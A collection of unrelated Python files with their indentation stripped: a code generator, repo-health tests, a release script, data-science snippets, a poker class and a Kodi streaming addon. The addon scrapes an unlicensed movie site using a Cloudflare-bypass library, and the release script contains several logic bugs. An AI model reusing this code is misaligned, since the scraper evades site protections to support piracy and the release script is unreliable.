# notices and license terms. Your use of these subcomponents is subject to the
# terms and conditions of the subcomponent's license, as noted in the LICENSE
# file.
from visitor import Visitor
def class_start(name, id):
return f'''
class {name}():
\'\'\' A CMF message for {name} \'\'\'
id = {id}
def __init__(self):
'''
def serialize_start():
return f'''
def serialize(self) -> bytes:
\'\'\' Serialize this message in CMF format \'\'\'
serializer = CMFSerializer()
'''
def deserialize_start():
return f'''
@classmethod
def deserialize(cls, buf):
\'\'\' Take bytes of a serialized CMF message, deserialize it, and return a new instance of this class. \'\'\'
deserializer = CMFDeserializer(buf)
obj = cls()
'''
def eq_start():
return f''' def __eq__(self, other):
'''
def serialize_field(field_name, serializers):
return f'''\
serializer.serialize(self.{field_name}, {serializers})
'''
def deserialize_field(field_name, serializers):
return f'''\
obj.{field_name} = deserializer.deserialize({serializers})
'''
def eq_field(field_name):
return f''' if self.{field_name} != other.{field_name}:
return False
'''
class PyVisitor(Visitor):
''' A visitor that generates Python code. '''
def __init__(self):
# All output currently constructed
self.output = ''
# The current message being processed
self.msg_name = ''
# The current field name being processed
self.field_name = ''
# Messages are represented as Classes in python
self.msg_class = ''
# A list of string names of serialization functions for the current field. It's a list
# because types can be nested. The same function name is used for serialization and
# deserialization via getattr.
self.serializers = []
# The 'serialize' method for the current message
self.serialize = ''
# The 'deserialize' method for the current message
self.deserialize = ''
# The `__eq__` method for the current message
self.eq = ''
def _reset(self):
# output accumulates across messages
output = self.output
self.__init__()
self.output = output
def _reset_field(self):
self.field_name = ''
self.serializers = []
def msg_start(self, name, id):
self.msg_name = name
self.msg_class = class_start(name, id)
self.serialize = serialize_start()
self.deserialize = deserialize_start()
self.eq = eq_start()
def msg_end(self):
self.serialize += ' return serializer.buf'
self.deserialize += ' return obj, deserializer.pos\n'
self.eq += ' return True\n'
self.output += '\n'.join(
[self.msg_class, self.serialize, self.deserialize, self.eq])
self._reset()
def field_start(self, name, type):
self.field_name = name
self.msg_class += f' self.{name} = None\n'
def field_end(self):
self.serialize += serialize_field(self.field_name, self.serializers)
self.deserialize += deserialize_field(self.field_name,
self.serializers)
self.eq += eq_field(self.field_name)
self._reset_field()
def bool(self):
self.serializers.append('bool')
def uint8(self):
self.serializers.append('uint8')
def uint16(self):
self.serializers.append('uint16')
def uint32(self):
self.serializers.append('uint32')
def uint64(self):
self.serializers.append('uint64')
def int8(self):
self.serializers.append('int8')
def int16(self):
self.serializers.append('int16')
def int32(self):
self.serializers.append('int32')
def int64(self):
self.serializers.append('int64')
def string(self):
self.serializers.append('string')
def bytes(self):
self.serializers.append('bytes')
def msgname_ref(self, name):
self.serializers.append(('msg', name))
def kvpair_start(self):
self.serializers.append('kvpair')
def kvpair_key_end(self):
pass
def kvpair_end(self):
pass
def list_start(self):
self.serializers.append('list')
def list_end(self):
pass
def map_start(self):
self.serializers.append('map')
def map_key_end(self):
pass
def map_end(self):
pass
def optional_start(self):
self.serializers.append('optional')
def optional_end(self):
pass
def oneof(self, msgs):
self.serializers.append(('oneof', msgs))
|
"""
Checks to see if openedx.yaml follows minimum standards
And gathers info
"""
import os
import pytest
import yaml
from pytest_repo_health import add_key_to_metadata
from repo_health import get_file_content
# Decision: require openedx.yaml to be parsable
module_dict_key = "openedx_yaml"
@pytest.fixture(name='openedx_yaml')
def fixture_openedx_yaml(repo_path):
"""Fixture containing the text content of openedx.yaml"""
full_path = os.path.join(repo_path, "openedx.yaml")
return get_file_content(full_path)
@pytest.fixture(name='parsed_data')
def fixture_parsed_data(openedx_yaml):
"""
Parses openedx.yaml returns resulting dict.
"""
try:
data = yaml.safe_load(openedx_yaml)
if data is None:
return {}
return data
except yaml.YAMLError:
return {}
@add_key_to_metadata((module_dict_key, "parsable"))
def check_yaml_parsable(openedx_yaml, all_results):
"""
Is the openedx.yaml file computer parsable
"""
try:
data = yaml.safe_load(openedx_yaml)
all_results[module_dict_key]["parsable"] = bool(data)
except yaml.YAMLError:
all_results[module_dict_key]["parsable"] = False
@add_key_to_metadata((module_dict_key, "owner"))
def check_owner(parsed_data, all_results):
"""
The name of official owner of repo(the one reponsible for maintenance)
"""
all_results[module_dict_key]["owner"] = None
if "owner" in parsed_data.keys():
all_results[module_dict_key]["owner"] = parsed_data["owner"]
@pytest.fixture(name='oeps')
def fixture_oeps(parsed_data):
if "oeps" in parsed_data:
return parsed_data["oeps"]
return {}
@add_key_to_metadata((module_dict_key, "oep_2"))
def check_oep_2(oeps, all_results):
"""
Indicated compliance with OEP-2: standards for how openedx.yaml is structured
"""
oep_name = "oep-2"
if oep_name in oeps:
all_results[module_dict_key][oep_name] = oeps[oep_name]
else:
all_results[module_dict_key][oep_name] = False
@add_key_to_metadata((module_dict_key, "oep_2"))
def check_oep_7(oeps, all_results):
"""
Indicates compliance with OEP-7: has repo migrated to python 3
"""
oep_name = "oep-7"
if oep_name in oeps:
all_results[module_dict_key][oep_name] = oeps[oep_name]
else:
all_results[module_dict_key][oep_name] = False
@add_key_to_metadata((module_dict_key, "oep_18"))
def check_oep_18(oeps, all_results):
"""
Indicates compliance with OEP-18: standards for make upgrade target and requirement files
"""
oep_name = "oep-18"
if oep_name in oeps:
all_results[module_dict_key][oep_name] = oeps[oep_name]
else:
all_results[module_dict_key][oep_name] = False
@add_key_to_metadata((module_dict_key, "oep_30"))
def check_oep_30(oeps, all_results):
"""
Indicates compliance with OEP-30: Personally Identifiable Information Markup and Auditing
"""
oep_name = "oep-30"
if oep_name in oeps:
all_results[module_dict_key][oep_name] = oeps[oep_name]
else:
all_results[module_dict_key][oep_name] = False
|
# Flatten the package import
from fake_gen.base import *
from fake_gen.dictionary import *
from fake_gen.factories.sequences import *
from fake_gen.factories.strings import *
from fake_gen.factories.datetimes import *
from fake_gen.factories.fake import *
from fake_gen.factories.numeric import *
from fake_gen.factories.generic import *
from fake_gen.factories.statistical import *
|
#!/usr/bin/env python3
import os
import re
import sys
import time
import shutil
import subprocess
biobbs_dir = "/Users/pau/projects/"
bioconda_recipes_dir = "/Users/pau/other_projects/bioconda-recipes"
tmp_dir = "/tmp"
editor_cmd = "atom"
twine_user = "andriopau"
# firefox, safari, chrome...
web_browser_cmd = "open"
conda_skeleton_wait = {'seconds': 5}
dockerfile_wait = {'hours': 2}
singularity_wait = {'hours': 2}
def main(yes_to_all=False):
print('Welcome to BIOBB new version script.')
choice = "n"
while choice.startswith("n"):
repo = input('Which biobb do you want to release? ')
repo_path = os.path.join(biobbs_dir, repo)
print('Path to the code: %s' % repo_path)
choice = input("Correct ([y]/n)?").lower()
#Get current version from setup.py
print("Obtaining version from %s" % os.path.join(repo_path, 'setup.py'))
ver_current = get_current_version(os.path.join(repo_path, 'setup.py'), replace=False)
ver_new = get_new_version(ver_current)
ver_message = 'v'+ver_new+' '+time.strftime('%B %Y')+' Release'
print("Old version: %s New version: %s Version message: %s")
if not yes_to_all:
if input("New version is: %s \n Is it correct ([y]/n)?" % ver_new).lower().startswith('n'):
ver_new = input('Insert new version value: ')
if input("New message is: %s \n Is it correct ([y]/n)?").lower().startswith('n'):
ver_message = input('Insert new version message: ')
#Modify setup.py
if yes_to_all or modify_or_open(os.path.join(repo_path, 'setup.py')):
get_current_version(os.path.join(repo_path, 'setup.py'), replace=True, ver_new=ver_new)
#Modify docs/source/conf.py with the new version and Message
if yes_to_all or modify_or_open(os.path.join(repo_path, repo, 'docs', 'source', 'conf.py')):
pattern_version_conf = re.compile(r"version = u\'.*\'")
pattern_message_conf = re.compile(r"release = u\'.*\'")
with open(os.path.join(repo_path, repo, 'docs', 'source', 'conf.py'), 'r+') as conf_file:
lines = conf_file.readlines()
for index, line in enumerate(lines):
if pattern_version_conf.search(line):
index_version_conf = index
if pattern_message_conf.search(line):
index_message_conf = index
lines[index_version_conf] = "version = u'"+ver_new+"'"+'\n'
lines[index_message_conf] = "release = u'"+ver_message+"'"+'\n'
conf_file.seek(0)
conf_file.write("".join(lines))
conf_file.truncate()
#Modify Readme.md and docs/README.md
if yes_to_all or modify_or_open(os.path.join(repo_path, 'README.md')):
pattern_version_readme = re.compile(r"### Version")
pattern_copyright_readme = re.compile(r"\* \(c\) 2015-(?P<year>\d\d\d\d)")
with open(os.path.join(repo_path, 'README.md'), 'r+') as readme_file:
lines = readme_file.readlines()
for index, line in enumerate(lines):
if pattern_version_readme.search(line):
index_version_readme = index+1
if pattern_copyright_readme.search(line):
index_copyright_readme = index
old_year = pattern_copyright_readme.match(line).groupdict().get('year')
lines[index_version_readme] = ver_message + '\n'
lines[index_copyright_readme] = lines[index_copyright_readme].replace(old_year, time.strftime('%Y'))
lines[index_copyright_readme+1] = lines[index_copyright_readme+1].replace(old_year, time.strftime('%Y'))
readme_file.seek(0)
readme_file.write("".join(lines))
readme_file.truncate()
if yes_to_all or modify_or_open(os.path.join(repo_path, repo, 'docs', 'source', 'readme.md')):
shutil.copy2(os.path.join(repo_path, 'README.md'), os.path.join(repo_path, repo, 'docs', 'source', 'readme.md'))
#Modify the biobb_????.json
if yes_to_all or modify_or_open(os.path.join(repo_path, repo, 'json_schemas', repo+'.json')):
pattern_version_json = re.compile(r'"version": "[\d.]+",')
with open(os.path.join(repo_path, repo, 'json_schemas', repo+'.json'), 'r+') as json_file:
lines = json_file.readlines()
for index, line in enumerate(lines):
if pattern_version_json.search(line):
index_version_json = index
break
lines[index_version_json] = '"version": "'+ver_new+'",'+ '\n'
json_file.seek(0)
json_file.write("".join(lines))
json_file.truncate()
#Push to Github
if yes_to_all or ask_user("Push to git and create tag"):
subprocess.run(['git', '-C', repo_path, 'status'])
subprocess.run(['git', '-C', repo_path, 'add', '.'])
subprocess.run(['git', '-C', repo_path, 'commit', '-m', ver_message])
subprocess.run(['git', '-C', repo_path, 'push'])
subprocess.run(['git', '-C', repo_path, 'push', 'bioexcel'])
subprocess.run(['git', '-C', repo_path, 'tag', '-a', 'v'+ver_new, ver_message])
subprocess.run(['git', '-C', repo_path, 'push', 'origin', 'v'+ver_new])
subprocess.run(['git', '-C', repo_path, 'push', 'bioexcel', 'v'+ver_new])
#Upload to Pypi
if yes_to_all or ask_user("Upload to Pypi"):
subprocess.run(['python3', os.path.join(repo_path, 'setup.py'), os.path.join(repo_path, 'sdist'), os.path.join(repo_path, 'bdist_wheel')])
cmd = 'python3 -m twine upload '+repo_path+' dist/* <<< '+twine_user
subprocess.run(cmd, shell=True)
# Create conda package hash with conda skeleton
if yes_to_all or ask_user("Create conda package using conda skeleton"):
skeleton_dir = os.path.join(tmp_dir, repo)
if os.path.isdir(skeleton_dir):
shutil.rmtree(skeleton_dir)
if os.path.isfile(skeleton_dir):
os.remove(skeleton_dir)
retval = 1
while retval != 0:
print('Waiting for Pypi version to be updated')
countdown(**conda_skeleton_wait)
retval = subprocess.run(['conda', 'skeleton', 'pypi', repo, '--version', ver_new, '--output-dir', tmp_dir])
# Get the hash value from the conda skeleton recipe
pattern_hash_value = re.compile(r"{% set hash_value = \"(?P<hash_value>\w+)\" %}")
skeleton_meta = os.path.join(skeleton_dir, 'meta.yaml')
with open(skeleton_meta, 'r') as skeleton_file:
for line in skeleton_file:
match = pattern_hash_value.match(line)
if match:
hash_value = match.group('hash_value')
break
else:
hash_value = input("New meta.yaml hash_value: ")
# Updating Bioconda repository and creating a new branch
if yes_to_all or ask_user("Update bioconda repository and create a new branch"):
subprocess.run(['git', '-C', bioconda_recipes_dir, 'checkout', '-f', 'master'])
subprocess.run(['git', '-C', bioconda_recipes_dir, 'pull', 'origin', 'master'])
subprocess.run(['git', '-C', bioconda_recipes_dir, 'branch', '-D', repo])
subprocess.run(['git', '-C', bioconda_recipes_dir, 'push', 'origin', '--delete', repo])
subprocess.run(['git', '-C', bioconda_recipes_dir, 'checkout', '-b', repo])
# Modify Bioconda recipe adding the correct version and hash_value
if yes_to_all or modify_or_open(os.path.join(bioconda_recipes_dir, 'recipes', 'meta.yaml')):
with open(os.path.join(bioconda_recipes_dir, 'recipes', 'meta.yaml'), 'r+') as meta_file:
pattern_version_meta = re.compile(r"{% set version = \"(?P<version>[\d.]+)\" %}")
lines = meta_file.readlines()
for index, line in enumerate(lines):
if pattern_version_meta.match(line):
index_version_meta = index
if pattern_hash_value.match(line):
index_hash_value = index
lines[index_version_meta] = '{% set version = "'+ver_new+'" %}' + '\n'
lines[index_hash_value] = '{% set hash_value = "'+hash_value+'" %}' + '\n'
meta_file.seek(0)
meta_file.write("".join(lines))
meta_file.truncate()
#Ask to open build.sh
#Ask to open post-link.sh
# Create pull request in bioconda repository
if yes_to_all or ask_user("Create bioconda pull request"):
subprocess.run(['git', '-C', bioconda_recipes_dir, 'status'])
subprocess.run(['git', '-C', bioconda_recipes_dir, 'commit', '-m', ver_message])
subprocess.run(['git', '-C', bioconda_recipes_dir, 'push', '-u', 'origin', repo])
subprocess.run([web_browser_cmd, "https://github.com/bioconda/bioconda-recipes/pull/new/"+repo])
# Modify Dockerfile if exists
dockerfile_path = os.path.join(repo_path, 'Dockerfile')
if os.path.exists(dockerfile_path):
if yes_to_all or modify_or_open(dockerfile_path):
with open(dockerfile_path, 'r+') as dockerfile:
pattern_version_docker = re.compile("RUN conda install -y "+repo+r"==[\d\.]+")
lines = meta_file.readlines()
for index, line in enumerate(lines):
if pattern_version_docker.search(line):
index_version_docker = index
lines[index_version_docker] = "RUN conda install -y "+repo+"=="+ver_new+ "\n"
dockerfile.seek(0)
dockerfile.write("".join(lines))
dockerfile.truncate()
if yes_to_all or ask_user("Wait and push changes?"):
countdown(**dockerfile_wait)
subprocess.run(['git', '-C', repo_path, 'status'])
subprocess.run(['git', '-C', repo_path, 'add', '.'])
subprocess.run(['git', '-C', repo_path, 'commit', '-m', ver_message])
subprocess.run(['git', '-C', repo_path, 'push'])
subprocess.run(['git', '-C', repo_path, 'push', 'bioexcel'])
# Modify singularity
singularity_path = os.path.join(repo_path, 'Singularity.latest')
if yes_to_all or modify_or_open(singularity_path):
if os.path.exists(dockerfile_path):
with open(singularity_path, 'r+') as singularity_file:
lines = meta_file.readlines()
if lines[0].startswith('#'):
lines[0] = "# "+ver_new+"\n"
else:
lines.insert(0, "# "+ver_new+"\n")
singularity_file.seek(0)
singularity_file.write("".join(lines))
singularity_file.truncate()
else:
with open(dockerfile_path, 'r+') as dockerfile:
pattern_version_singularity = re.compile("From: "+repo+":"+r"[\d\.]+")
lines = meta_file.readlines()
for index, line in enumerate(lines):
if pattern_version_singularity.search(line):
index_version_singularity = index
lines[index_version_singularity] = "From: "+repo+":"+ver_new+"--py_0"+"\n"
singularity_file.seek(0)
singularity_file.write("".join(lines))
singularity_file.truncate()
if yes_to_all or ask_user("Wait and push changes?"):
countdown(hours=2)
subprocess.run(['git', '-C', repo_path, 'status'])
subprocess.run(['git', '-C', repo_path, 'add', '.'])
subprocess.run(['git', '-C', repo_path, 'commit', '-m', ver_message])
subprocess.run(['git', '-C', repo_path, 'push'])
subprocess.run(['git', '-C', repo_path, 'push', 'bioexcel'])
def countdown(seconds=0, minutes=0, hours=0):
seconds_left = seconds+(minutes*60)+(hours*3600)
while seconds_left:
minu, sec = divmod(seconds_left, 60)
hour, minu = divmod(minu, 60)
time_str = '{:02d}:{:02d}:{:02d}'.format(hour, minu, sec)
print(time_str, end='\r')
time.sleep(1)
seconds_left -= 1
def modify_or_open(file_to_open):
choice = ""
while choice not in ["y", "n", "o"]:
choice = input("Modify %s [y]es/no/open it (I'll do it myself)?" % file_to_open).lower()
if choice.startswith("n"):
return False
if choice.startswith("y"):
return True
if choice.startswith("o"):
subprocess.run([editor_cmd, file_to_open])
input("Waiting... Press any key to continue")
return False
def ask_user(message):
if input(message + " ([y]/n)?").lower().startswith('n'):
input("Waiting... Press any key to continue")
return False
return True
def get_current_version(setuppy_path, replace=True, ver_new=None):
pattern = re.compile(r"version\s*=\s*\"(?P<ver>\d\.\d\.\d)\"\s*,")
with open(setuppy_path, 'r+') as setup_file:
lines = setup_file.readlines()
for index, line in enumerate(lines):
if pattern.search(line):
ver_current = pattern.match(line).groupdict().get('ver')
if not replace:
return ver_current
break
if not ver_new:
ver_new = get_new_version(ver_current)
lines[index] = 'version="'+ver_new+'",\n'
setup_file.seek(0)
setup_file.write("".join(lines))
setup_file.truncate()
return ver_current
def get_new_version(version_str):
ver_new = list(int(version_str.replace('.', ''))+1).insert(-1, '.')
return str(ver_new.insert(-3, '.'))
if __name__ == '__main__':
if len(sys.argv) > 1:
if sys.argv[1].startswith("-y"):
main(yes_to_all=True)
else:
main()
|
from NN_Model import FasterRCNN
f1 = FasterRCNN()
# f1.train_RPN_RoI()
# f1.save_weight()
f1.load_weight()
f1.test_proposal_visualization()
f1.faster_rcnn_output()
|
from distutils.core import setup, Extension
from distutils.sysconfig import get_python_inc
query = Extension("query", ["query/Py_query_res.c"])
sort = Extension("sort_map", ["sort/sort_map.c"])
setup(
ext_modules=[query, sort],
include_dirs=[get_python_inc(), "sort", "query", "utilites"]
)
|
#!/usr/bin/env python
# coding: utf-8
import pandas as pd
import numpy as np
import yaml
import os
import warnings
warnings.simplefilter('ignore')
def config_loader():
"""Set config path and load variables."""
config_path = os.path.join('./configs/config.yaml')
with open(config_path,'r') as ymlfile:
cfg = yaml.load(ymlfile, Loader=yaml.BaseLoader)
return cfg
def load_df(filepath):
"""Read in processed data."""
print("Reading in processed data.")
df = pd.read_hdf(filepath)
return df
def get_true_labels():
"""Return dataframe with only properties with true labels."""
cfg = config_loader()
filepath = cfg['processed']
df = load_df(filepath=filepath)
# Fill na values for price_psf with 0 (means it's an empty lot)
df['price_psf'] = df['price_psf'].fillna(0)
# Filter out wonky situations (erroneous property encoding, sq footage of 1, etc.)
percentile = float(cfg['pctile_filter'])
trim_prop_df = df[(df.price_psf<df.price_psf.quantile(percentile))]
# Get only properties owned by the top n most frequent owners
largest_owners = int(cfg['largest_owners'])
top_owners_list = trim_prop_df.py_owner_name.value_counts()[:largest_owners].index
true_labels_df = trim_prop_df[(trim_prop_df.py_owner_name.str.contains('|'.join(top_owners_list))==True) |
(trim_prop_df.crim_prop==1)
]
# Grab all columns that are under the 70,000 nan limit
nan_limit = int(cfg['nan_limit'])
check_nan = trim_prop_df.isnull().sum()
variables_list = check_nan[check_nan<nan_limit].index
variables_list = variables_list[variables_list.isin(trim_prop_df.columns[trim_prop_df.dtypes!='object'])]
variables_list = variables_list.drop([
'py_owner_id','py_addr_zip_cass','prop_val_yr','appraised_val',
'Prior_Mkt_Val','bexar_2015_market_value','bexar_2016_market_value',
'bexar_2017_market_value','bexar_2018_market_value','owner_zip_code',
'property_zip','neighborhood_code'
])
sub_df = true_labels_df[variables_list]
df_true_labels = sub_df.dropna()
print("Number of properties after reducing:", len(df_true_labels))
return df_true_labels
def export_to_h5():
"""Export new df to h5."""
df_true_labels = get_true_labels()
print("Exporting dataframe to h5 file.")
df_true_labels.to_hdf(
'./data/processed/bexar_true_labels.h5',
key='bexar_true_labels.h5',
mode='w',
format='t'
)
print("Dataframe has been saved as bexar_true_labels.h5")
if __name__ == '__main__':
export_to_h5()
|
"""
" Seats manage Players, chip stack, and Hands.
" Note: Maybe repr should return the position of the seat?"
"""
from . import hand
class Seat(object):
""" Defines a Seat object that occupies a Table. """
def __init__(self, table=None, position=0):
self.table = table
self.position = position # Seat number at the table, after the dealer.
self.player = None
self.hand = hand.Hand()
self.stack = 0
def __str__(self):
if self.player is None:
return 'Open Seat'
else:
return str(self.player)
def sitdown(self, player):
""" Takes a Player and sets them in this seat if not occupied. """
if not self.vacant():
raise Exception('The seat is currently occupied!')
else:
self.player = player
self.hand = hand.Hand()
def standup(self):
""" Removes the Player from this seat and refunds their money. """
self.player.deposit(self.stack)
self.stack = 0
p = self.player
self.player = None
self.hand = hand.Hand()
return p
def vacant(self):
return self.player is None
def occupied(self):
return self.player is not None
def has_hand(self):
""" Returns True if the player at this seat currently has a Hand, False otherwise """
return len(self.hand) > 0
def has_chips(self):
return self.stack > 0
def buy_chips(self, amount):
if self.player is None:
raise ValueError('No player is sitting to buy chips!')
elif amount > self.player.bank:
raise ValueError('Player cannot buy more chips than they can afford!')
self.stack += self.player.withdraw(amount)
def win(self, amount):
""" Award the given amount of chips to the current players stack. """
if amount <= 0:
raise ValueError('Amount won needs to be greater than 0!')
self.stack += amount
def bet(self, amt):
""" Removes the given amount from the players stack and returns it. """
if amt > self.stack:
amt = self.stack
elif amt <= 0:
raise ValueError('Amount bet needs to be greater than 0!')
self.stack -= amt
return amt
def fold(self):
""" Removes all the cards in the hand and returns them as a list.
"""
copy = self.hand.cards[:]
self.hand.cards = hand.Hand()
return copy
|
import MeCab
mecab = MeCab.Tagger ('-d /usr/local/lib/mecab/dic/mecab-ipadic-neologd')
text = '解析したいテキスト'
mecab.parse('')#文字列がGCされるのを防ぐ
node = mecab.parseToNode(text)
while node:
#単語を取得
word = node.surface
#品詞を取得
pos = node.feature.split(",")[1]
print('{0} , {1}'.format(word, pos))
#次の単語に進める
node = node.next
|
# -*- coding: UTF-8 -*-
#######################################################################
# ----------------------------------------------------------------------------
# "THE BEER-WARE LICENSE" (Revision 42):
# @Daddy_Blamo wrote this file. As long as you retain this notice you
# can do whatever you want with this stuff. If we meet some day, and you think
# this stuff is worth it, you can buy me a beer in return. - Muad'Dib
# ----------------------------------------------------------------------------
#######################################################################
# Addon Name: Placenta
# Addon id: plugin.video.placenta
# Addon Provider: Mr.Blamo
import urllib, urlparse, re
from resources.lib.modules import cleantitle
from resources.lib.modules import client
from resources.lib.modules import source_utils
from resources.lib.modules import dom_parser
from resources.lib.modules import directstream
from resources.lib.modules import cfscrape
class source:
def __init__(self):
self.priority = 1
self.language = ['en']
self.domains = ['mehlizmovies.com']
self.base_link = 'https://www.mehlizmovies.com/'
self.search_link = '?s=%s'
self.search_link2 = '/search/%s/feed/rss2/'
def movie(self, imdb, title, localtitle, aliases, year):
try:
url = self.__search([localtitle] + source_utils.aliases_to_array(aliases), year)
if not url and title != localtitle: url = self.__search([title] + source_utils.aliases_to_array(
aliases),year)
return url
except:
return
def tvshow(self, imdb, tvdb, tvshowtitle, localtvshowtitle, aliases, year):
try:
url = self.__search([localtvshowtitle] + source_utils.aliases_to_array(aliases), year)
if not url and tvshowtitle != localtvshowtitle: url = self.__search(
[tvshowtitle] + source_utils.aliases_to_array(aliases), year)
return url
except:
return
def episode(self, url, imdb, tvdb, title, premiered, season, episode):
try:
if not url:
return
url = urlparse.urljoin(self.base_link, url)
scraper = cfscrape.create_scraper()
data = scraper.get(url).content
data = client.parseDOM(data, 'ul', attrs={'class': 'episodios'})
links = client.parseDOM(data, 'div', attrs={'class': 'episodiotitle'})
sp = zip(client.parseDOM(data, 'div', attrs={'class': 'numerando'}), client.parseDOM(links, 'a', ret='href'))
Sea_Epi = '%dx%d'% (int(season), int(episode))
for i in sp:
sep = i[0]
if sep == Sea_Epi:
url = source_utils.strip_domain(i[1])
return url
except:
return
def __search(self, titles, year):
try:
query = self.search_link % (urllib.quote_plus(cleantitle.getsearch(titles[0])))
query = urlparse.urljoin(self.base_link, query)
t = cleantitle.get(titles[0])
scraper = cfscrape.create_scraper()
data = scraper.get(query).content
#data = client.request(query, referer=self.base_link)
data = client.parseDOM(data, 'div', attrs={'class': 'result-item'})
r = dom_parser.parse_dom(data, 'div', attrs={'class': 'title'})
r = zip(dom_parser.parse_dom(r, 'a'), dom_parser.parse_dom(data, 'span', attrs={'class': 'year'}))
url = []
for i in range(len(r)):
title = cleantitle.get(r[i][0][1])
title = re.sub('(\d+p|4k|3d|hd|season\d+)','',title)
y = r[i][1][1]
link = r[i][0][0]['href']
if 'season' in title: continue
if t == title and y == year:
if 'season' in link:
url.append(source_utils.strip_domain(link))
print url[0]
return url[0]
else: url.append(source_utils.strip_domain(link))
return url
except:
return
def sources(self, url, hostDict, hostprDict):
sources = []
try:
if not url:
return sources
links = self.links_found(url)
hostdict = hostDict + hostprDict
for url in links:
try:
valid, host = source_utils.is_host_valid(url, hostdict)
if 'mehliz' in url:
host = 'MZ'; direct = True; urls = (self.mz_server(url))
elif 'ok.ru' in url:
host = 'vk'; direct = True; urls = (directstream.odnoklassniki(url))
else:
direct = False; urls = [{'quality': 'SD', 'url': url}]
for x in urls:
sources.append({'source': host, 'quality': x['quality'], 'language': 'en',
'url': x['url'], 'direct': direct, 'debridonly': False})
except:
pass
return sources
except:
return sources
def links_found(self,urls):
try:
scraper = cfscrape.create_scraper()
links = []
if type(urls) is list:
for item in urls:
query = urlparse.urljoin(self.base_link, item)
r = scraper.get(query).content
data = client.parseDOM(r, 'div', attrs={'id': 'playex'})
data = client.parseDOM(data, 'div', attrs={'id': 'option-\d+'})
links += client.parseDOM(data, 'iframe', ret='src')
print links
else:
query = urlparse.urljoin(self.base_link, urls)
r = scraper.get(query).content
data = client.parseDOM(r, 'div', attrs={'id': 'playex'})
data = client.parseDOM(data, 'div', attrs={'id': 'option-\d+'})
links += client.parseDOM(data, 'iframe', ret='src')
return links
except:
return urls
def mz_server(self,url):
try:
scraper = cfscrape.create_scraper()
urls = []
data = scraper.get(url).content
data = re.findall('''file:\s*["']([^"']+)",label:\s*"(\d{3,}p)"''', data, re.DOTALL)
for url, label in data:
label = source_utils.label_to_quality(label)
if label == 'SD': continue
urls.append({'url': url, 'quality': label})
return urls
except:
return url
def resolve(self, url):
return url
|
from __future__ import division, print_function
import numpy as np
from astropy.io import fits
from astropy.table import Table
import os
import kcorrect
from astropy.cosmology import FlatLambdaCDM
def load_SDSS(filename, colors, SDSS_kcorrection_z):
"""
Compute the CDF of SDSS colors for some redshift range.
Parameters
----------
colors : list of string, required
list of colors to be tested
e.g ['u-g','g-r','r-i','i-z']
zlo : float, requred
minimum redshift of the validation catalog
zhi : float, requred
maximum redshift of the validation catalog
"""
translate = {'u':'M_u', 'g':'M_g', 'r':'M_r', 'i':'M_i', 'z':'M_z'}
data_dir = os.path.dirname(filename)
kcorrect_magnitudes_path = os.path.join(data_dir, 'sdss_k_corrected_magnitudes_z_0.06_0.09_z_{:.3f}.fits'.format(SDSS_kcorrection_z))
if not os.path.exists(kcorrect_magnitudes_path):
kcorrect_maggies_path = os.path.join(data_dir, 'sdss_k_corrected_maggies_z_0.06_0.09_z_{:.3f}.dat'.format(SDSS_kcorrection_z))
# Load kcorrect templates and filters
kcorrect.load_templates()
kcorrect.load_filters()
kcorrect.reconstruct_maggies_from_file(filename, redshift=SDSS_kcorrection_z, outfile=kcorrect_maggies_path)
#----------Convert kcorrected maggies to magnitudes----------------
cat = Table.read(os.path.join(data_dir, kcorrect_maggies_path), format='ascii.no_header', names=('redshift', 'maggies_u', 'maggies_g', 'maggies_r', 'maggies_i', 'maggies_z'))
cat0 = Table.read(filename, format='ascii.no_header')
redshifts = cat0['col1']
u = -2.5*np.log10(cat['maggies_u'])
g = -2.5*np.log10(cat['maggies_g'])
r = -2.5*np.log10(cat['maggies_r'])
i = -2.5*np.log10(cat['maggies_i'])
z = -2.5*np.log10(cat['maggies_z'])
cat1 = Table()
cat1['redshift'] = redshifts
cat1['u'] = u
cat1['g'] = g
cat1['r'] = r
cat1['i'] = i
cat1['z'] = z
cat1.write(kcorrect_magnitudes_path)
cat = cat1.copy()
else:
cat = Table.read(kcorrect_magnitudes_path)
# distance modulus
##########################################
cosmo = FlatLambdaCDM(H0=70.2, Om0=0.275)
##########################################
dm = np.array(cosmo.distmod(cat['redshift']))
cat['M_u'] = cat['u'] - dm
cat['M_g'] = cat['g'] - dm
cat['M_r'] = cat['r'] - dm
cat['M_i'] = cat['i'] - dm
cat['M_z'] = cat['z'] - dm
# Calculate the aboluste magnitude cut
mask = (cat['redshift']>0.089) & (cat['redshift']<0.090)
mr = cat['M_r'][mask]
mr_sort = np.sort(mr)
mrmax = mr_sort[int(len(mr)*0.85)]
# Apply r-band absolute magnitude
mask = (cat['M_r'] < mrmax)
cat = cat[mask]
vsummary = []
# Histogram with small bins (for calculating CDF)
for index in range(len(colors)):
color = colors[index]
band1 = translate[color[0]]
band2 = translate[color[2]]
bins = np.linspace(-1, 4, 2000)
hist, bin_edges = np.histogram((cat[band1]-cat[band2]), bins=bins)
hist = hist/np.sum(hist)
binctr = (bin_edges[1:] + bin_edges[:-1])/2.
# Convert PDF to CDF
cdf = np.zeros(len(hist))
cdf[0] = hist[0]
for cdf_index in range(1, len(hist)):
cdf[cdf_index] = cdf[cdf_index-1]+hist[cdf_index]
vsummary.append((len(cat), binctr, hist, cdf))
return vsummary, mrmax
|
import numpy as np
import time
from scipy.ndimage.filters import gaussian_filter1d
def putPixel(strip, ledIndex, r, g, b, velocity):
if(ledIndex <= len(strip[0])):
strip[0][ledIndex] = r / 127 * (velocity + 1)
strip[1][ledIndex] = g / 127 * (velocity + 1)
strip[2][ledIndex] = b / 127 * (velocity + 1)
def fadeOutPixels(pixels, value):
tmp = [[], [], []]
for i in range(3):
for y in range(len(pixels[0])):
if(pixels[i][y] - value < 0):
pixels[i][y] = 0.0
else:
pixels[i][y] -= value
class PianoNote():
def initPianoNote(self):
self.piano_notes_on = []
self.pitch = 0
self.value = 0
def visualizePianoNote(self):
"""PianoNote midi visualizer"""
color_scheme = self.config._formatted_color_schemes[
self.active_state.active_color_scheme_index]
for midi_note in self.midi_datas:
if(midi_note["type"] == "note_on" and midi_note["velocity"] > 0):
midi_note["time_since_apparation"] = 0
self.piano_notes_on.append(midi_note)
midi_note["color"] = 0
if(midi_note["type"] == "note_off" or (midi_note["type"] == "note_on" and midi_note["velocity"] == 0)):
for i, note_on in enumerate(self.piano_notes_on):
if(note_on["note"] == midi_note["note"]):
del self.piano_notes_on[i]
if(midi_note["type"] == "pitchwheel"):
self.pitch = midi_note["pitch"]
value = self.clampToNewRange(self.pitch, -8191, 8191, 127, 255)
roll_value = int(1 * (self.active_state.time_interval / 100)) + 1
fade_out_value = self.active_state.time_interval / 10
